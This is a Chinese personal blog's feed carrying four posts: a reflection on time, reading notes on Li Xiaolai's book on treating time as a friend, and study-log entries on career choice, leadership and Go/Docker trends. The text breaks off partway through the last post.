Jekyll2021-10-06T11:10:33+08:00https://fangwei.fun/feed.xml方淡定独立思考时间:一寸光阴一寸金2021-05-05T22:00:00+08:002021-05-05T22:00:00+08:00https://fangwei.fun/life/2021/05/05/time<p><strong>什么是时间?每个人对时间流易速度的感知是一样的吗?我的时间价值观有哪些?</strong></p>
<!--more-->
<p>五一假期一晃而过,或旅游、或返乡、或原地发呆,大部分人的感觉可能都是「靠,时间过得太快了,还没嗨够又要复工复学了」🙃。</p>
<p>今天咱们聊一聊时间。</p>
<h2 id="什么是时间">什么是时间</h2>
<p><a href="https://zh.wikipedia.org/wiki/%E6%97%B6%E9%97%B4">维基百科</a>,是这么写的:</p>
<blockquote>
<p>时间是一种尺度,在物理定义是标量,借着时间,事件发生之先后可以按过去-现在-未来之序列得以确定(时间点/时刻),也可以衡量事件持续的期间以及事件之间和间隔长短(时间段)。</p>
</blockquote>
<blockquote>
<p>计量单位:时间在国际单位制中的基本单位是秒,1967年起采用的定义为“铯-133原子在基态下的两个超精细能级之间跃迁所对应的辐射的9192631770个周期的时间。</p>
</blockquote>
<blockquote>
<p>物理学:目前最广泛被接受关于时间的物理理论是阿尔伯特·爱因斯坦的相对论。在相对论中,时间与空间一起组成四维时空,构成宇宙的基本结构。时间与空间都不是绝对的,观察者在不同的相对速度或不同时空结构的测量点,所测量到时间的流易是不同的。</p>
</blockquote>
<blockquote>
<p>天文学:最早研究时间的科学不是物理学,而是天文学。天文学的一个最重要的任务就是测量时间。现在最被公认的宇宙学理论(宇宙大爆炸理论)认为时间与空间和宇宙内的质能一样是在140亿年前产生的。</p>
</blockquote>
<p>另外,还有从哲学、宗教、文学等多个角度的解释。</p>
<p>我所理解的时间就是文学角度的,「光阴似箭,日月如梭」。</p>
<h2 id="对时间的感知">对时间的感知</h2>
<p><strong>人对时间流易速度的感知,在不同年龄阶段是不一样的。</strong></p>
<ul>
<li>
<p>孩童时代,总觉得天是那么蓝,云是那么白,时间多的一眼望不到边。爸妈和老师经常对我们说,「<strong>一寸光阴一寸金,寸金难买寸光阴</strong>」。那个时候,根本体会不到,说了白说。心想,时间有那么宝贵嘛,还不如给我一块钱,我买5个游戏币可以打一下午三国志。</p>
</li>
<li>
<p>毕业以后,日子过的稍微快一点了。起床赶车上班吃饭午休工作下班回家做饭吃饭洗了睡,眼一闭一睁,哈!又是新的一天。继续这个略显枯燥的循环,可闲下来还是觉得时间还挺多啊,我还没结婚呐,我还没生娃呐,我还没玩够呐。</p>
</li>
<li>
<p>如今四十看从前,我靠!人生已然过半了。开始有点焦虑了,要操心的事怎么这么多,时间怎么老是不够用,时间过得太TM快了。于是经常对孩子们说「<strong>一寸光阴一寸金,寸金难买寸光阴</strong>」,你们要珍惜时间啊,囧。</p>
</li>
</ul>
<p><strong>人对时间流易速度的感知,在不同状态之下是不一样的。</strong></p>
<ul>
<li>
<p>如果你在做你热爱的事情,你会觉得时间过得好快,怎么这么快就下班了,今天我这个牛逼的程序还差一点写完。</p>
</li>
<li>
<p>如果你在做你不爱的事情,你会觉得时间过得好慢,怎么还没下班啊,女朋友还等我吃烛光晚餐看电影呢。</p>
</li>
</ul>
<h2 id="时间的价值观">时间的价值观</h2>
<p>不管老天爷公不公平,每个人一天都是24小时。如何度过,选择不同,结果可能不同。</p>
<p>关于时间,我信奉的价值观有:</p>
<ul>
<li>一天的最开始就完成那些最艰难最重要的工作。</li>
<li>集中大部分精力在少数重要的事情上。</li>
<li>最完美的做事时间永远也不会出现。别想太多,行动起来。</li>
<li>一次只做一件事情,一个时期只有一个重点。</li>
<li>避免信息过剩,断掉干扰源头。</li>
<li>如果你要做什么,任何时候都不算晚。</li>
<li>在疲劳之前休息片刻。</li>
<li>能花钱的,就不要花时间。</li>
</ul>
<h2 id="尾声">尾声</h2>
<p>父老乡亲们,「<strong>一寸光阴一寸金,寸金难买寸光阴</strong>」,咱们都要珍惜时间啊:)</p>
<p>五一收假快乐!</p>方伟什么是时间?每个人对时间流易速度的感知是一样的吗?我的时间价值观有哪些?【读书笔记】把时间当作朋友2020-05-04T17:00:00+08:002020-05-04T17:00:00+08:00https://fangwei.fun/read/2020/05/04/time-as-a-friend<p><strong>时间总是不够用怎么办?什么叫独立思考?兴趣从何而来?</strong></p>
<!--more-->
<ul>
<li>书名:把时间当作朋友</li>
<li>作者:李笑来</li>
<li>出版社:电子工业出版社</li>
<li>阅读日期:2020年5月1日~2020年5月4日</li>
<li>耗时:5小时</li>
</ul>
<h2 id="书籍背景">书籍背景</h2>
<p>这本书的主旨非常简单:<strong>时间是不可能被管理的</strong>。必须开启心智,看清楚,想明白:问题出在我们自己身上。而我们所面临的问题,与时间、管理或时间管理都没有多大的关系。解决方案只有一个,那就是“<strong>一切都靠积累</strong>”。深信积累的力量,时间就是你的朋友,否则,它就是你的敌人。</p>
<p>无论是谁,都最终在某一刻意识到时间的珍贵,并且几乎注定会因懂事太晚而多少有些后悔。</p>
<h2 id="书摘笔记">书摘/笔记</h2>
<h3 id="第〇章-困境">第〇章: 困境</h3>
<p><strong>慌乱</strong>。“没时间了”,是“时间恐慌症”患者脑子里唯一反复闪现的一句话。巨大的压力,极度的恐慌,使“患者”身上综合了一切矛盾:他们既勤奋又懒惰,既聪明又愚蠢,既勇敢又懦弱,既满怀希望又分分秒秒面临绝望,既充满自信又随时随地体会自卑……</p>
<p>生活中明显有另外一些人——尽管数量上并不占优——在用另外一种状态生活。<strong>他们从容,他们优雅,他们善于化解各种压力,安静地去做他们认为应该做的事情,并总能有所成就</strong>。他们甚至可以达到常人无法想象的境界——不以物喜,不以己悲。</p>
<p><strong>解决</strong>。<strong>我们无法管理时间。我们真正能够管理的,是我们自己</strong>。</p>
<h3 id="第一章醒悟">第一章:醒悟</h3>
<p><strong>心智</strong>。一个人的心智就是其过往获得的一切知识及经验的总和(包括基于这些知识和经验造就的思考方法、思考模式)。心智与智商不同。大多数人都拥有正常的智商,但并非每个拥有正常智商的人都拥有正常的心智。许多人的心智仍处于未开启的状态。我们常看到所谓的“聪明人办傻事”,其原因基本上都是他们的心智尚未开启。他们即使做出了错误的判断也会振振有词——绝非强词夺理,而是义正词严、双目炯炯、真诚满怀。</p>
<p>人们常常会问:“<strong>学这东西有什么用呢?</strong>”其实,在尚未学习之前,对提问者来说,答案只能是“不知道”——尽管很多书籍中都已经花费大量的篇幅去论述“为什么要学习(某项技能)”。而“不知道那东西(对自己)有什么用”,恰恰是一部分人(更多一些)决定不学的原因,同时,它也是另一部分人(更少一些)决定去学的原因。</p>
<h3 id="第二章现实">第二章:现实</h3>
<p><strong>速成绝无可能</strong>。人希望自己的欲望马上得到满足的天性。浮躁的根源就是很多人不懂“有些阶段就是无法跨越”这个道理。</p>
<p><strong>交换才是硬道理</strong>。生活的本质就是这样,你想要什么,它偏不给你什么。摆脱这个死循环的方法只有一个——给我什么我就用好什么,积累到一定程度再去换能换的东西。</p>
<p><strong>完美永不存在</strong>。不管做什么事情,都需要时刻忍耐各种各样的不完美,否则事情根本无法完成。最终完成的事情,结果也常常是不完美的。缺憾必然存在。</p>
<p><strong>未知永远存在</strong>。我们只能不断地尝试着去适应“在未知中不断前行”。焦虑是导致时间浪费、效率低下的根源之一。当有问题解决不了时,可以先把它记下来,然后继续前行。</p>
<p><strong>现状无法马上摆脱</strong>。越是不满现状,摆脱现状的欲望就越强烈,而这种欲望会让一个人最终迷失方向。接受现状才是最优策略——有什么做什么,有什么用什么;做什么都做好,用什么都用好。不要常常觉得苦(这会让人忍不住顾影自怜,浪费精力与时间),而要想办法在任何情况下找到情趣——<strong>快乐是一种本事</strong>。</p>
<p><strong>与时间做朋友</strong>。几乎一切愚蠢的行为都来自否定现实、逃避现实。只有接受现实,才可能脚踏实地,避免心浮气躁、好高骛远。如果我们把成功朴素地定义为“用正确的方法做正确的事情,并在最后期限之前漂亮地完成”的话,那么,大多数所谓的“时间管理技巧”实际上发挥不了多大的作用,只不过是花拳绣腿。真正有用的往往是简单而又朴素的道理,例如“现实只能接受”。</p>
<p>这个世界上的资源并非平均分布在每一个人的身上,能够比较好地表示这种分布情况的数学曲线是正态分布曲线。<strong>只有极少数人在资源上极端贫困,也只有极少数人在资源上极端富有,绝大多数人属于中等水平</strong>。</p>
<p>尽管现实总是如此难于接受,坚强的你却应该坦然。</p>
<h3 id="第三章管理">第三章:管理</h3>
<p><strong>估算时间</strong>。侯世达法则:完成一个任务实际花费的时间总会超过计划花费的时间,就算制定计划的时候考虑到本法则,也不能避免这种情况的发生。</p>
<p><strong>及时行动</strong>。接受任务之后,什么时候开始执行才好呢?比“越早开始越好”更切实的答案是“<strong>现在就开始</strong>”。所谓做事拖延,不是拖延着做事,而是拖延着不开始做事。</p>
<p><strong>直面困难</strong>。合理的时间安排应该是这样的:迅速做完简单的部分,把节约出来的时间放在困难部分的处理上。所有真正踏实做事的人都知道,任何任务的绝大部分都是枯燥而又无趣的,所谓有创意的部分,可能连1%都不到。</p>
<p><strong>关注步骤</strong>。在做任何事情之前,通过关注“方法”去反复拆分任务,最终确认每个子任务都是可完成的。</p>
<p><strong>并行串行</strong>。“提高效率”指的就是“原本只能串行完成的两个任务现在可以并行完成”。尝试把一个非机械(需要思考的)的任务和一个机械的任务搭配起来完成。比如,在跑步的时候听英语,在写文章的时候听音乐,在等班车的时候看书等。</p>
<p><strong>感知时间</strong>。既然管理时间是不可能的,那么解决方法就只能是:想尽一切办法真正了解自己、真正了解时间、精确感知时间,而后再想尽一切办法使自己以及自己的行为与时间“合拍”。按我的话说就是——“与时间做朋友”。</p>
<p><strong>计划</strong>。如果不开始行动,根本就无从判断目标是不是确实可行。如果你对你的将来充满迷惑,相信我,你并不孤独。<strong>只要不停地往前走,早晚可以走到一个鲜花盛开的地方</strong>。如果想要改变自己,或者对自己目前的处境不满意,那就一切从简——找一个你觉得应该会带来改变的任务,然后去做就是了。不要怕碰壁,不要怕失败,那是必须经历的过程。达成目标的关键在于每次受到挫折之后能否汲取教训。只要能汲取教训,然后自我调整,那就是进步。永远记住,<strong>马上行动是最重要的</strong>——尽管这句话已经被无数人说过无数次。</p>
<p><strong>列表</strong>。制作一个列表,往往会使自己做事井井有条,并保证自己不会白白浪费时间。<strong>最重要的任务永远只有一个</strong>。一事无成的最根本原因就是放弃。放弃的方法有很多种,最常见的是“换一个更好的方向”。</p>
<p><strong>流程</strong>。无论是学习、工作还是生活,我们面临的任务大都是重复性的。要想加快执行重复性任务的速度,只需在遇到重复性任务时先将其做完一次,然后马上总结、整理,搞清流程,再靠进一步的实践把它变成“<strong>闭着眼睛也能做好</strong>”的事。这是提高效率、减少失误的根本手段。</p>
<p><strong>预演</strong>。需要执行的任务越重要,这种预演就越关键。只有经过大量的预演或者练习,我们才能够在实际执行任务的过程中有出色的表现。</p>
<p><strong>验收</strong>。我们不管遇到什么任务,都应该对其认真审视,同时向自己提出一个问题并要想办法回答清楚:“怎样才算‘做好’?设计验收机制也是任何一个领导者必须拥有的基本能力。</p>
<h3 id="第四章学习">第四章:学习</h3>
<p><strong>效率本质</strong>。“学习”的重要起点是:起码学会一种技能。无论这种技能多简单、多普通,学会之后总是可以让学习者了解习得带来的大不同。一旦拥有了一个起点,学习欲望就会像发了芽的种子,无论多大的石头都压不住——它会越来越茁壮,越来越坚强。<strong>千万不要拒绝学习</strong>。</p>
<p><strong>基本途径</strong>。<strong>体验</strong>就是来自五官的感觉。<strong>试错</strong>往往需要勇气。<strong>观察</strong>扩展了我们的学习范围。通过<strong>阅读</strong>,我们可以得知他人体验和试错的结果(即所谓的经验),可以跨越时间、空间,跨越种族和国度。</p>
<p><strong>主要手段</strong>。“<strong>正确地思考</strong>”,才是获取真正意义上的知识的主要手段。</p>
<p><strong>经验局限</strong>。五只猴子、香蕉、冰水,挨打的故事。<strong>优秀的领导,能够把人们带到他们想去的地方;而卓越的领导,能够把人们带到他们应该去但是没想过要去的地方</strong>。</p>
<p><strong>自学能力</strong>。自学能力的基础是<strong>阅读理解能力</strong>。<strong>检索能力</strong>建立在相当熟练的阅读理解能力的基础之上。<strong>写作能力</strong>在自学能力中占据重要位置——写出简洁、有效、准确、朴素、具体的说明性和说理性文章的能力,文字的责任是传递信息、积累经验、共享知识等。<strong>实践能力</strong>是自学能力最终转化为真正价值的根本——完全靠自己学一样东西吧——管它是什么,并且一定要学好,学到比相当数量的人都好。<strong>永远保持开放的心态</strong>。<strong>了解学习的进程</strong>,进步和时间的关系是阶梯状的,在漫长的平台期坚持积累才会出现量变到质变。</p>
<h3 id="第五章思考">第五章:思考</h3>
<p><strong>勤于思考</strong>。思考,更准确地说,独立思考,只不过是从别人那里知道一个结论的时候,自己动脑重新推演一遍,看看得出结论的过程有没有漏洞,有没有不合理的地方,衡量一下结论到底有多少道理的过程。这个过程没那么复杂,也没什么玄妙,不过是一个正常的有脑子的人应该做的事情而已。</p>
<p><strong>思维陷阱</strong>。<strong>概念不清</strong>。人们为了能够认知、思考、交流,必须不停地创造新的概念。学习任何知识最重要的一点,就是搞清楚它所有的基础概念。<strong>拒绝接受不确定性</strong>。谁不希望一切都是简单的呢?可现实往往就是复杂的。</p>
<p><strong>因果关系</strong>。分析因果关系,是我们在决定是否接受某个观点之前必做的功课。</p>
<p><strong>逆命题</strong>。反过来不一定成立。比如,“脑残者最好玩的地方在于他们认为别人才是脑残”,这句话并不意味着“认为别人脑残的人才是脑残”。</p>
<p><strong>举证责任</strong>。谁主张谁举证。既然你无法证明我是错的,那么我就是对的。这是一种典型的逻辑错误。</p>
<p><strong>案例局限</strong>。爱迪生仅说过“天才是1%的灵感,99%的汗水。爱迪生的“案例”无法证明:一个人只要跟爱迪生一样“非常努力、非常勤奋、热爱工作、热爱生活”,就可以获得与他一样的成就——明显还需要很多其他因素。爱迪生是不是一个特别努力的人,本质上与我们没什么关系,我们该努力还得努力,不应该仅仅因为别人努力或者不努力,我们就放弃努力。</p>
<p><strong>对立论证</strong>。人们可能基于一模一样的原因做出截然相反的决定。</p>
<p><strong>张冠李戴</strong>。论点和论据之间尽管全无逻辑联系,却可以用一种“显然合理”的姿态绑在一起。</p>
<p><strong>感悟与道理</strong>。“道理”应该是普适的,而“感悟”只来自个体经验。人类普遍拥有的一个认知偏差就是:把成功揽到自己身上,把失败归咎于别人或者坏运气。有一句话值得牢记:人家说什么你就信什么,挺傻的。只有经过自己的仔细分辨,真正成功者的宝贵经验才是无价的。</p>
<p><strong>克服恐惧</strong>。“道理都明白,可就做不到”也许是无数人在生命中无数次遭遇的尴尬。不要以为自己拥有无比的勇气,不要以为自己没有恐惧,总有那么一个时刻,我们的勇气不能抵御我们的恐惧。所以,我们有什么理由不能理解别人的恐惧呢?</p>
<p><strong>辅助工具</strong>。恰当而又正确地使用语言,可以帮助修复思维漏洞。我们所面临的今天很大程度上取决于我们的过去。<strong>要是我不浪费那么多时间就好了!</strong>可是,我们已经浪费了那么多时间,现在竟然还在浪费时间(想这种问题)!</p>
<h3 id="第七章应用">第七章:应用</h3>
<p><strong>兴趣</strong>。<strong>我不喜欢做某件事情,是不是仅仅因为这件事我没有做好</strong>?做好这件事情究竟对自己有没有意义?如果有,那就要努力做,直到做好为止,没有其他选择。反过来,自己做得挺好,但就是不喜欢,纯粹因为那件事对自己确实没有什么吸引力——事实上这种情况少之又少——那就直接换一件事情做吧。<strong>培养孩子的兴趣</strong>,不是买来一架钢琴或者一本书就可以的。正确的做法是:根据孩子的情况,选出孩子最可能做得比别人好的事情(这很可能已经是极其耗时费力的了);然后还要绞尽脑汁让孩子学得会、做得好、做得比一般人好、做得比谁都好——兴趣就自然出现了。<strong>往往并不是有兴趣才能做好,而是做好了才有兴趣</strong>。</p>
<p><strong>方法</strong>。所有学习上的成功,都只依靠两件事——策略和坚持,而坚持本身就是最重要的策略。坚持,其实就是重复;而重复,说到底就是时间的投入,准确地说,是大量时间的投入。<strong>相对于坚持,方法不重要到几乎可以忽略不计的地步</strong>。与其不停地寻找“更好的方法”,还不如马上开始行动。</p>
<p><strong>痛苦</strong>。上了岁数的人遥望过去的时候,那些曾经让他们痛苦万分的事情早就被他们忘干净了,或者,他们早已无所谓了,然而,那些美好的事情他们却都能记得清清楚楚——他们当然会怀旧!所以说,怀旧是一种错觉,甚至更可能只是幻觉。<strong>在做任何一种必须记住大量信息的工作的时候,一定要想办法由衷地把这件事情当作一件快乐的事情来做</strong>。</p>
<p><strong>比较</strong>。<strong>对那些把自己的幸福建立在与他人比较的结果之上的人来说,幸福和快乐永生永世难以获得</strong>,就算偶尔产生了幸福和快乐的感觉,也必然昙花一现,因为总有人会比他们更加年轻貌美、英俊潇洒,收入更高、权力更大,地位更尊贵、财富更雄厚。<strong>比成功更重要的是成长</strong>。如果“成功”是与他人比较的话,那么“成长”则是与自己比较——今天的我和昨天的我、明天的我和今天的我之间的比较。后一种比较显然比前一种对个体来说意义更大,也能够带来更加踏实的幸福感。</p>
<p><strong>运气</strong>。浪费时间、虚度年华的人,有一个共同的特征——拼命想控制自己完全不能控制的事物,却在自己真正能掌控的地方彻底失控。如果一个人相信好运气,那么他的生活并不会因此变得更好或者更差;可是,反过来,如果一个人觉得自己是个倒霉蛋,那他的生活一定会因此变得更糟。所以,尽管生活不应该盲目乐观,但一定不能失望悲观。神奇的是,<strong>乐观生活、坚持努力,往往真的会改变一个人的运气</strong>。</p>
<p><strong>人脉</strong>。集中精力改变那些自己能够改变的事情,暂时忽略那些自己不能改变的事情。专心打造自己,让自己成为一个优秀的人、一个有用的人、一个独立的人,比什么都重要。打造自己,就等于打造自己的人脉——如果人脉真像传说中那么重要的话。</p>
<p><strong>自卑</strong>。每个人都有一个“愿望中的自己”,同时还有一个“感觉中的自己”。优秀的人更容易自卑。优秀的人往往会给自己制定过高的标准,甚至想当然地认为自己在各个方面都应该相当优秀。<strong>停止嘲弄他人</strong>,嘲弄别人“弱”往往只是为了证明自己的“强”,而真的“强”是不需要证明的。嘲弄者必被嘲弄。<strong>忘记自己的优点</strong>,很多时候,所谓“谦虚”和“低调”其实是一种自我保护的优化策略。让别人舒服。<strong>适当地放纵一下自己</strong>,承认自己是一个有缺点的人,是让心智获得解放的重要前提。每个人都一定会有一些“无伤大雅的缺点”,比如自卑、自负和虚荣。</p>
<p><strong>灵感</strong>。不要无谓地相信什么“突然闪现的灵感”的存在。灵感这东西,就算存在,也不会是平白无故出现的,肯定是有来历的。灵感的出现,只不过是“量变到质变”的那一瞬间突然绽放的铁树之花。</p>
<p><strong>鼓励</strong>。永远鼓励身边的人,哪怕多少有些盲目。<strong>敢做惊天动地的事情的人,不仅是少数,还是极少数中的极少数</strong>。所以,鼓励一个人是没有什么风险的。当我们不停地鼓励所有人的时候,最大的受益者其实是我们自己,因为最终我们会发现,自己开始进入一种他人无法想象的状态,<strong>成为一个不需要他人鼓励的人</strong>。这一点很重要。因为很多人之所以做事裹足不前,浪费时间甚至生命,原因就在于他们是必须获得别人的鼓励才敢于行动的人。可是,我们却能成为另外一种人——我们可以不需要被别人鼓励——这是一种境界。</p>
<p><strong>效率</strong>。<strong>任何人都不可能100%地有效率,至少不可能总是100%地有效率</strong>。如果一个人强迫自己一定要如此,他必会像那些始终用100%的功率运转的机器一样,由于损耗太大而提前报废。<strong>在做时间预算的时候,一定要留有空间</strong>。一方面,我们必须清楚肯定会有意外事件发生,所以要留出时间处理这些意外事件;另一方面,我们必须使用适当的方法休息、放松,以便恢复精力,在良好的状态下做更多的事情。如果我们一整天都在做那些非常重要但可能并无乐趣的事情,那就意味着,我们已经完全摆脱了大脑的控制,进而成为大脑的真正主人了。</p>
<p><strong>节奏</strong>。<strong>我们应该把自己的生活节奏调整得慢一点</strong>。很多人的计划之所以无法坚持,是因为他们的计划实际上是“超人计划”——不可能完成的任务。在一个所有人都匆匆忙忙的世界里,想放慢节奏实在是一件非常难的事情。但是,我们应该记住的是:<strong>凡是值得做的事情,都值得慢慢去做,做很久很久</strong>。为什么有那么多的人总是幻想什么“速成”的方法——他们前期松懈了太久,突然发现时间不够了,最后期限马上就到了,所以只能寄希望于“速成”方法的存在。</p>
<p><strong>物极必反</strong>。<strong>绝对不要盲目地试图减少睡眠时间</strong>,因为人和人是有区别的。<strong>尽量不要减少与家庭成员交流的时间</strong>,对一个人来说,家庭是最重要的。因为最终有一天我们会发现,在很极端的情况下,依然支持我们的肯定是也通常只是我们的家庭——无论我们认为自己的家庭是好还是坏。<strong>最好不要放弃你的社交时间</strong>。这世界上的大多数人和我一样,都是非常平凡的。平凡的人,终究有一天需要别人的帮助;就算不需要帮助,也偶尔需要安慰;就算连安慰都不需要,也可能偶尔需要陪伴。<strong>为了在需要别人帮助的时候不碰壁,我们要学会不停地帮助身边的人</strong>。</p>
<p><strong>自我证明</strong>。“证明自己”本身没有任何错误,但是,“证明自己给别人看”恰恰是最浪费生命的一种行为。如果某个人本身是出色的,那么不需要他去证明自己是出色的,别人自然会看到。如果某个人本身是平庸的,那么也不需要他去证明自己是平庸的,别人同样会看到。记住一件事:<strong>你比别人强一点根本没用,真正有用的是你比别人强很多很多</strong>。</p>
<p><strong>任何积累都需要时间,而且必然需要漫长的时间</strong>。也正因如此,大多数人才不肯积累,不愿积累,甚至不屑于积累。</p>
<p><strong>养成不怕麻烦的性格,才可能拥有耐心</strong>。耐心是在任何工作、学习上获得成功的前提。哪怕是在生活中,耐心也很重要。</p>
<p>别再跟时间较劲了。看清楚、想明白,问题出在自己身上。将来,时间可能是我们的敌人,也可能是我们的朋友。时间究竟是敌是友,就看你的了……</p>
<blockquote>
<p><strong>感想:</strong>想起小时候妈妈经常对我说的“<strong>只要功夫深,铁棒磨成针</strong>”,还有Nike的广告语“<strong>Just Do It</strong>”。大道至简,你懂了吗?</p>
</blockquote>方伟时间总是不够用怎么办?什么叫独立思考?兴趣从何而来?【60天重学左耳】Day61-渴望、热情和选择2020-02-14T20:00:00+08:002020-02-14T20:00:00+08:00https://fangwei.fun/code/2020/02/14/cxze60-day61<p><strong>加班太严重完全没有时间学习怎么办?怎样选择自己的人生和职业发展?如何成为众人愿意追随的Leader</strong></p>
<!--more-->
<p>打卡Day61:今天学习了《09|答疑解惑:渴望、热情和选择》和《10|如何成为一个大家愿意追随的Leader?》,我的收获如下:</p>
<h2 id="加班太严重完全没有时间学习怎么办">加班太严重完全没有时间学习,怎么办?</h2>
<p>一面工作压力大,公司加班多,大城市的通勤时间,没有时间学习和成长。
一面通宵打游戏,追美剧,泡妞。总能挤出时间来干这些“顺人性”的事,甚至废寝忘食,而不找任何借口。</p>
<p><strong>学习这事反人性。</strong>反人性的事基本上都是要付出很多,而且还要坚持很久。没有渴望,或不能从中找到快乐,很难坚持,无论你有没有时间。</p>
<p>两个发生在陈皓身上的故事。</p>
<ul>
<li>2001年-2002年,外包程序员,周一到周六,早9点到晚10点。每晚看半小时到一个小时的书,一天2-3页。一年后看完两本经典书,《TCP/IP 详解:卷 I》和《UNIX 环境高级编程》。</li>
<li>2002年-2003年,做分布式系统,技术比较复杂,跟不上。周末和节假日,到公司看书学习。没个人电脑,只能去蹭公司的电脑。</li>
</ul>
<p>我真不算聪明的人,但是,我真心渴望学习。说得好听一点,我希望自己在不停地成长,不辜负这个信息化大变革的时代。说得不好听一点,我从银行出来了,很多人要看我的笑话,我不能让他们看我的笑话,所以我必须努力。<strong>我的渴望就来自这两点</strong>。</p>
<p><strong>时间一定是能找得到的,关键还是看你的渴望程度和热情</strong>。只要你真心想把事儿做成,你就一定能想出各种各样的招儿来挤出时间。</p>
<h2 id="为什么你能够写出这么多东西">为什么你能够写出这么多东西?</h2>
<p><strong>还是上面的那个问题,就是你对写作这个事有多少的兴趣和热情</strong>。</p>
<ul>
<li>学习的阶段。</li>
<li>有利益驱动的阶段。</li>
<li>记录自己观点打自己脸的阶段。</li>
<li>与他人交互的阶段。</li>
</ul>
<h2 id="怎样选择自己的人生和职业发展">怎样选择自己的人生和职业发展?</h2>
<p>参考:CoolShell上的《<a href="https://coolshell.cn/articles/17583.html">技术人员的发展之路</a>》、《<a href="https://coolshell.cn/articles/8790.html">算法与人生</a>》</p>
<p>人生分为两个阶段。</p>
<ul>
<li><strong>20-30岁,打基础</strong>。开阔眼界,努力学习和成长。</li>
<li><strong>30-40岁,人生发展</strong>。社会的中流砥柱,明确奋斗方向,做有挑战的事,提升技术领导力。</li>
<li><strong>40岁-?,事业和人生可能会被定型</strong>,这也不绝对。</li>
</ul>
<p>一些建议:</p>
<ul>
<li><strong>客观地审视自己</strong>。找到自己的长处,不断地在自己的长处上发展自我。审视自己的最佳方式,就是隔三差五就出去面试一把,看看自己在市场上能够到什么样的级别。</li>
<li><strong>确定自己想要什么</strong>。不知道自己要什么,也就不知道自己要去哪里。</li>
<li><strong>注重长期的可能性,而不是短期的功利</strong>。人最害怕的不是自己什么都不会,而是自己不知道自己不会。</li>
<li><strong>尽量关注自己会得到的东西,而不是自己会失去的东西</strong>。无论怎么选,都会有得有失。</li>
<li><strong>不要和大众的思维方式一样</strong>。绝大多数人都是平庸的。如果你和大众不一样,要么你比大多数人聪明,要么你比大多数人愚蠢。</li>
</ul>
<p><strong>很多事情能做到什么程度,其实在思想的源头就被决定了</strong>。因为它会绝大程度地受到思考问题的出发点、思维方式、格局观、价值观等因素影响。这些才是最本源的东西,甚至可以定义成<strong>思维的“基因”</strong>。就我们程序员而言,我认为,<strong>编码能力很重要,但是技术视野、技术洞察力,以及我们如何用技术解决问题的能力更为重要</strong>。</p>
<h2 id="leader和boss的不同">Leader和Boss的不同</h2>
<table>
<thead>
<tr>
<th style="text-align: left">Boss</th>
<th style="text-align: left">Leader</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">驱动员工</td>
<td style="text-align: left">指导员工</td>
</tr>
<tr>
<td style="text-align: left">制造畏惧</td>
<td style="text-align: left">制造热情</td>
</tr>
<tr>
<td style="text-align: left">面对错误,喜欢使用人事惩罚手段</td>
<td style="text-align: left">面对错误,喜欢寻找解决问题的技术或管理方法</td>
</tr>
<tr>
<td style="text-align: left">只知道怎么做</td>
<td style="text-align: left">展示怎么做</td>
</tr>
<tr>
<td style="text-align: left">用人</td>
<td style="text-align: left">发展人</td>
</tr>
<tr>
<td style="text-align: left">从团队收割成绩</td>
<td style="text-align: left">给予团队成绩</td>
</tr>
<tr>
<td style="text-align: left">喜欢命令和控制</td>
<td style="text-align: left">喜欢沟通和协作</td>
</tr>
<tr>
<td style="text-align: left">喜欢说,“给我上”</td>
<td style="text-align: left">喜欢说,“跟我上”</td>
</tr>
</tbody>
</table>
<h2 id="如何成为众人愿意追随的leader">如何成为众人愿意追随的Leader</h2>
<ul>
<li><strong>帮人解决问题</strong>。</li>
<li><strong>被人依赖</strong>。</li>
</ul>
<p>人们想要跟随的人通常都是比自己强比自己出色的人,或是能够跟他学到东西,能够跟他成长的人。</p>
<p>技术领导力之外的其他素质和人格魅力:</p>
<ul>
<li><strong>赢得他人的信任</strong>。可以聊员工和老板间禁忌话题,如跳槽机会、吐槽公司。</li>
<li><strong>开放的心态 + 倾向性的价值观</strong>。</li>
<li><strong>Lead by Example</strong>。给大家做示范。Always Be Coding。不写代码的架构师是根本不靠谱的。</li>
<li><strong>保持热情和冲劲</strong>。正视问题,正视不足,正视错误,不怕困难,迎难而上。</li>
<li><strong>能够抓住重点,看透事物的本质</strong>。给出清楚的观点或方向,简化复杂的事情,传道解惑、开启民智,让人豁然开朗、醍醐灌顶,才会让人追随之。</li>
<li><strong>描绘令人激动的方向,提供令人向住的环境</strong>。把每个人心中最真善美的东西呼唤出来,并且还能让人相信这是有机会有可能做到的。</li>
<li><strong>甘当铺路石,为他人创造机会</strong>。成就他人其实也是在成就自己。</li>
</ul>
<p>做一个好的Leader真的不容易,你需要比大家强很多,你需要比大家付出更多;你需要容天下难容之事,你还需要保持热情和朝气;你需要带领团队守护理想,你还需要直面困难迎刃而上……</p>
<p><strong>也许,你不必做一个Leader,但是如果你有想跟随的人,你应该去跟随这样的Leader!</strong></p>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/540">https://time.geekbang.org/column/article/540</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/297">https://time.geekbang.org/column/article/297</a></p>
</blockquote>方伟加班太严重完全没有时间学习怎么办?怎样选择自己的人生和职业发展?如何成为众人愿意追随的Leader【60天重学左耳】Day60-Go语言,Docker和新技术2020-02-13T20:00:00+08:002020-02-13T20:00:00+08:00https://fangwei.fun/code/2020/02/13/cxze60-day60<p><strong>为什么Go语言和Docker会是新一代的云计算技术?技术人员如何识别什么样的新技术会是未来的趋势?早一点地进入这些新技术有什么好处?</strong></p>
<!--more-->
<p>打卡Day60:今天学习了《08|Go语言,Docker和新技术》,我的收获如下:</p>
<p>Go语言是在2009年底开源的。</p>
<h2 id="go语言特点">Go语言特点</h2>
<ul>
<li><strong>语言简单,上手快</strong>。</li>
<li><strong>并行和异步编程几乎无痛点</strong>。Goroutine和Channel。</li>
<li><strong>Go语言的lib库“麻雀虽小,五脏俱全”</strong>。</li>
<li><strong>C语言的理念和Python的姿态</strong>。C语言的理念是信任程序员,保持语言的小巧,不屏蔽底层且对底层友好,关注语言的执行效率和性能。Python的姿态是用尽量少的代码完成尽量多的事。</li>
</ul>
<h2 id="技术能发展起来的关键">技术能发展起来的关键</h2>
<ul>
<li><strong>好的社区</strong>。</li>
<li><strong>工业化标准</strong>。</li>
<li><strong>杀手级应用</strong>。</li>
</ul>
<h2 id="其它影响因素">其它影响因素</h2>
<ul>
<li><strong>学习难度是否低,上手是否快</strong>。</li>
<li><strong>不错的提高开发效率的开发框架</strong>。</li>
<li><strong>巨型的技术公司作为后盾</strong>。</li>
